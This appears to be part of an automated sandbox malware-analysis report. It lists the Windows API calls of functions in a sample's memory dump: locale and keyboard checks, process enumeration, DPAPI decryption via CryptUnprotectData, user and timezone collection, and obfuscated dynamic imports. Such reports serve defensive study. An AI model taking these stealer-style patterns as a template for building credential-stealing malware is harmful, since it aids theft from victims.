GetKeyboardLayoutList.USER32(00000000,00000000,007405AF), ref: 00737BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00737BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00737C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00737C62
LocalFree.KERNEL32(00000000), ref: 00737D22

Strings

/ , xrefs: 00737C7F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: d9c0b025b9b6269e131d273aef2efebcf8715146481281051bd4db69f7198ccd
Instruction ID: ca58b921d2fb338534d691f3378aa61fb9051e8844c49567012a4e66b85b6ee1
Opcode Fuzzy Hash: d9c0b025b9b6269e131d273aef2efebcf8715146481281051bd4db69f7198ccd
Instruction Fuzzy Hash: 1D413EB1954218EBEB24DB54DC9ABEDB3B8FF44700F204199E10962192DB782F85CFA1

Function 00739600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0073961E
Process32First.KERNEL32(00740ACA,00000128), ref: 00739632
Process32Next.KERNEL32(00740ACA,00000128), ref: 00739647
StrCmpCA.SHLWAPI(?,00000000), ref: 0073965C
CloseHandle.KERNEL32(00740ACA), ref: 0073967A

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: fc5df386172ebab653f4abffa0e81e151eda8a3f0c8e99dfe04bf50d178f54bb
Instruction ID: f9b5eb4d5d30f17bf876cfc7f51938cb9e86465ead6d9e578945efac818fdc19
Opcode Fuzzy Hash: fc5df386172ebab653f4abffa0e81e151eda8a3f0c8e99dfe04bf50d178f54bb
Instruction Fuzzy Hash: 5E011E75A15208EBDB14DFA5CD49BEDB7F8EB48300F104188EA09A7251D7B4AB40DF51

Function 00729B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00729B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00729BA3
memcpy.MSVCRT(?,?,?), ref: 00729BC6
LocalFree.KERNEL32(?), ref: 00729BD3

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 661097b106f64f6b019b0a52c804288c7a351da277176a33c2381f343ff521b0
Instruction ID: 5c0b2c3f3b34a889f617d0fcd6598c469bf481a7efaad4cfdb7672f276046b4c
Opcode Fuzzy Hash: 661097b106f64f6b019b0a52c804288c7a351da277176a33c2381f343ff521b0
Instruction Fuzzy Hash: 7911CCB4A00209DFDB04DF94D989AAE77B5FF88300F104558F915A7350D774AE50CFA1

Function 00737A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000), ref: 00737A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000,?), ref: 00737A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000,?), ref: 00737A7D
wsprintfA.USER32 ref: 00737AB7

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 94e9655cc21229ba92adddfa5a3c43e5ba4ceb99c8f6cca8dbea8e77bea70ea1
Instruction ID: 97a930e80fbc560dffd09a01fe394229297ab373cfdee2837d4a912722d58d7a
Opcode Fuzzy Hash: 94e9655cc21229ba92adddfa5a3c43e5ba4ceb99c8f6cca8dbea8e77bea70ea1
Instruction Fuzzy Hash: 031165B1949218DBEB24CF54DC45F59B778FB44711F104399E516A32C0D7785E40CF51

Function 00737850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007211B7), ref: 00737880
HeapAlloc.KERNEL32(00000000,?,?,?,007211B7), ref: 00737887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0073789F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 702cdf184114b3e602a78ea3b17b1707e7214f717845ea9ca2a4d761e766a569
Instruction ID: 9ada47b335fb0b88d3f7e63c2973730fba937672afb18418240561e62b7ed4da
Opcode Fuzzy Hash: 702cdf184114b3e602a78ea3b17b1707e7214f717845ea9ca2a4d761e766a569
Instruction Fuzzy Hash: 84F04FF1D48209ABD714DF98DD49BAEFBB8EB08711F10025AFA05A3680C7B81904CFA1

Function 00721160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00736A17,00740AEF), ref: 0072116A
ExitProcess.KERNEL32 ref: 0072117E

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8abb29c8b33cbf87cac48affe75346266267b50d99245453ed4f7bf73487a212
Instruction ID: 4dd41cb545ed558e249f2c73e0ac7964e5831c6027ed4b8cdfca3df1fe9d9e06
Opcode Fuzzy Hash: 8abb29c8b33cbf87cac48affe75346266267b50d99245453ed4f7bf73487a212
Instruction Fuzzy Hash: BED05E74D0430CDBCB00DFE0D84A6DDBBB8FB08311F000558D90572340EA709891CAA6

Function 00739C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,015F80F8), ref: 00739C2D
GetProcAddress.KERNEL32(74DD0000,015F81F8), ref: 00739C45
GetProcAddress.KERNEL32(74DD0000,015F3D80), ref: 00739C5E
GetProcAddress.KERNEL32(74DD0000,015F3AC8), ref: 00739C76
GetProcAddress.KERNEL32(74DD0000,015F3D98), ref: 00739C8E
GetProcAddress.KERNEL32(74DD0000,015F3DB0), ref: 00739CA7
GetProcAddress.KERNEL32(74DD0000,015FBB98), ref: 00739CBF
GetProcAddress.KERNEL32(74DD0000,015F3E70), ref: 00739CD7
GetProcAddress.KERNEL32(74DD0000,015F3E88), ref: 00739CF0
GetProcAddress.KERNEL32(74DD0000,015F3DC8), ref: 00739D08
GetProcAddress.KERNEL32(74DD0000,015F3DE0), ref: 00739D20
GetProcAddress.KERNEL32(74DD0000,015F8218), ref: 00739D39
GetProcAddress.KERNEL32(74DD0000,015F8238), ref: 00739D51
GetProcAddress.KERNEL32(74DD0000,015F8278), ref: 00739D69
GetProcAddress.KERNEL32(74DD0000,015F80D8), ref: 00739D82
GetProcAddress.KERNEL32(74DD0000,015F3E28), ref: 00739D9A
GetProcAddress.KERNEL32(74DD0000,015F3DF8), ref: 00739DB2
GetProcAddress.KERNEL32(74DD0000,015FB990), ref: 00739DCB
GetProcAddress.KERNEL32(74DD0000,015F83F8), ref: 00739DE3
GetProcAddress.KERNEL32(74DD0000,015F3E10), ref: 00739DFB
GetProcAddress.KERNEL32(74DD0000,015F3E40), ref: 00739E14
GetProcAddress.KERNEL32(74DD0000,015F3E58), ref: 00739E2C
GetProcAddress.KERNEL32(74DD0000,015FF858), ref: 00739E44
GetProcAddress.KERNEL32(74DD0000,015F8338), ref: 00739E5D
GetProcAddress.KERNEL32(74DD0000,015FFA50), ref: 00739E75
GetProcAddress.KERNEL32(74DD0000,015FF948), ref: 00739E8D
GetProcAddress.KERNEL32(74DD0000,015FF8E8), ref: 00739EA6
GetProcAddress.KERNEL32(74DD0000,015FFA38), ref: 00739EBE
GetProcAddress.KERNEL32(74DD0000,015FF9D8), ref: 00739ED6
GetProcAddress.KERNEL32(74DD0000,015FFB10), ref: 00739EEF
GetProcAddress.KERNEL32(74DD0000,015FF870), ref: 00739F07
GetProcAddress.KERNEL32(74DD0000,015FF900), ref: 00739F1F
GetProcAddress.KERNEL32(74DD0000,015FFA68), ref: 00739F38
GetProcAddress.KERNEL32(74DD0000,015F4B08), ref: 00739F50
GetProcAddress.KERNEL32(74DD0000,015FF888), ref: 00739F68
GetProcAddress.KERNEL32(74DD0000,015FFA80), ref: 00739F81
GetProcAddress.KERNEL32(74DD0000,015F8418), ref: 00739F99
GetProcAddress.KERNEL32(74DD0000,015FF9C0), ref: 00739FB1
GetProcAddress.KERNEL32(74DD0000,015F8298), ref: 00739FCA
GetProcAddress.KERNEL32(74DD0000,015FFAC8), ref: 00739FE2
GetProcAddress.KERNEL32(74DD0000,015FFAE0), ref: 00739FFA
GetProcAddress.KERNEL32(74DD0000,015F8398), ref: 0073A013
GetProcAddress.KERNEL32(74DD0000,015F83B8), ref: 0073A02B
LoadLibraryA.KERNEL32(015FFAF8,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A03D
LoadLibraryA.KERNEL32(015FF8A0,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A04E
LoadLibraryA.KERNEL32(015FF918,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A060
LoadLibraryA.KERNEL32(015FF9F0,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A072
LoadLibraryA.KERNEL32(015FF930,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A083
LoadLibraryA.KERNEL32(015FF978,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A095
LoadLibraryA.KERNEL32(015FFA08,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A0A7
LoadLibraryA.KERNEL32(015FFB28,?,00735CA3,?,00000034,00000064,00736600,?,0000002C,00000064,007365A0,?,00000030,00000064,Function_00015AD0,?), ref: 0073A0B8
GetProcAddress.KERNEL32(75290000,015F86D8), ref: 0073A0DA
GetProcAddress.KERNEL32(75290000,015FF9A8), ref: 0073A0F2
GetProcAddress.KERNEL32(75290000,015FD4B8), ref: 0073A10A
GetProcAddress.KERNEL32(75290000,015FFA20), ref: 0073A123
GetProcAddress.KERNEL32(75290000,015F86F8), ref: 0073A13B
GetProcAddress.KERNEL32(73440000,015FB8A0), ref: 0073A160
GetProcAddress.KERNEL32(73440000,015F8738), ref: 0073A179
GetProcAddress.KERNEL32(73440000,015FB850), ref: 0073A191
GetProcAddress.KERNEL32(73440000,015FF8B8), ref: 0073A1A9
GetProcAddress.KERNEL32(73440000,015FFA98), ref: 0073A1C2
GetProcAddress.KERNEL32(73440000,015F8598), ref: 0073A1DA
GetProcAddress.KERNEL32(73440000,015F8698), ref: 0073A1F2
GetProcAddress.KERNEL32(73440000,015FF990), ref: 0073A20B
GetProcAddress.KERNEL32(752C0000,015F86B8), ref: 0073A22C
GetProcAddress.KERNEL32(752C0000,015F84F8), ref: 0073A244
GetProcAddress.KERNEL32(752C0000,015FFAB0), ref: 0073A25D
GetProcAddress.KERNEL32(752C0000,015FFB40), ref: 0073A275
GetProcAddress.KERNEL32(752C0000,015F8758), ref: 0073A28D
GetProcAddress.KERNEL32(74EC0000,015FB9E0), ref: 0073A2B3
GetProcAddress.KERNEL32(74EC0000,015FBAD0), ref: 0073A2CB
GetProcAddress.KERNEL32(74EC0000,015FF8D0), ref: 0073A2E3
GetProcAddress.KERNEL32(74EC0000,015F85B8), ref: 0073A2FC
GetProcAddress.KERNEL32(74EC0000,015F85D8), ref: 0073A314
GetProcAddress.KERNEL32(74EC0000,015FB760), ref: 0073A32C
GetProcAddress.KERNEL32(75BD0000,015FF960), ref: 0073A352
GetProcAddress.KERNEL32(75BD0000,015F8718), ref: 0073A36A
GetProcAddress.KERNEL32(75BD0000,015FD4F8), ref: 0073A382
GetProcAddress.KERNEL32(75BD0000,015FFBB8), ref: 0073A39B
GetProcAddress.KERNEL32(75BD0000,015FFB70), ref: 0073A3B3
GetProcAddress.KERNEL32(75BD0000,015F8518), ref: 0073A3CB
GetProcAddress.KERNEL32(75BD0000,015F8778), ref: 0073A3E4
GetProcAddress.KERNEL32(75BD0000,015FFB88), ref: 0073A3FC
GetProcAddress.KERNEL32(75BD0000,015FFBD0), ref: 0073A414
GetProcAddress.KERNEL32(75A70000,015F8458), ref: 0073A436
GetProcAddress.KERNEL32(75A70000,015FFC18), ref: 0073A44E
GetProcAddress.KERNEL32(75A70000,015FFB58), ref: 0073A466
GetProcAddress.KERNEL32(75A70000,015FFBA0), ref: 0073A47F
GetProcAddress.KERNEL32(75A70000,015FFC00), ref: 0073A497
GetProcAddress.KERNEL32(75450000,015F87B8), ref: 0073A4B8
GetProcAddress.KERNEL32(75450000,015F8578), ref: 0073A4D1
GetProcAddress.KERNEL32(75DA0000,015F84D8), ref: 0073A4F2
GetProcAddress.KERNEL32(75DA0000,015FFBE8), ref: 0073A50A
GetProcAddress.KERNEL32(6F070000,015F8618), ref: 0073A530
GetProcAddress.KERNEL32(6F070000,015F85F8), ref: 0073A548
GetProcAddress.KERNEL32(6F070000,015F8798), ref: 0073A560
GetProcAddress.KERNEL32(6F070000,015FFE70), ref: 0073A579
GetProcAddress.KERNEL32(6F070000,015F84B8), ref: 0073A591
GetProcAddress.KERNEL32(6F070000,015F87D8), ref: 0073A5A9
GetProcAddress.KERNEL32(6F070000,015F87F8), ref: 0073A5C2
GetProcAddress.KERNEL32(6F070000,015F8658), ref: 0073A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0073A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0073A607
GetProcAddress.KERNEL32(75AF0000,015FFCD8), ref: 0073A629
GetProcAddress.KERNEL32(75AF0000,015FD608), ref: 0073A641
GetProcAddress.KERNEL32(75AF0000,015FFCF0), ref: 0073A659
GetProcAddress.KERNEL32(75AF0000,015FFDE0), ref: 0073A672
GetProcAddress.KERNEL32(75D90000,015F8638), ref: 0073A693
GetProcAddress.KERNEL32(6F9D0000,015FFC90), ref: 0073A6B4
GetProcAddress.KERNEL32(6F9D0000,015F8498), ref: 0073A6CD
GetProcAddress.KERNEL32(6F9D0000,015FFE40), ref: 0073A6E5
GetProcAddress.KERNEL32(6F9D0000,015FFD20), ref: 0073A6FD

Strings

InternetSetOptionA, xrefs: 0073A5E5
HttpQueryInfoA, xrefs: 0073A5FC

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
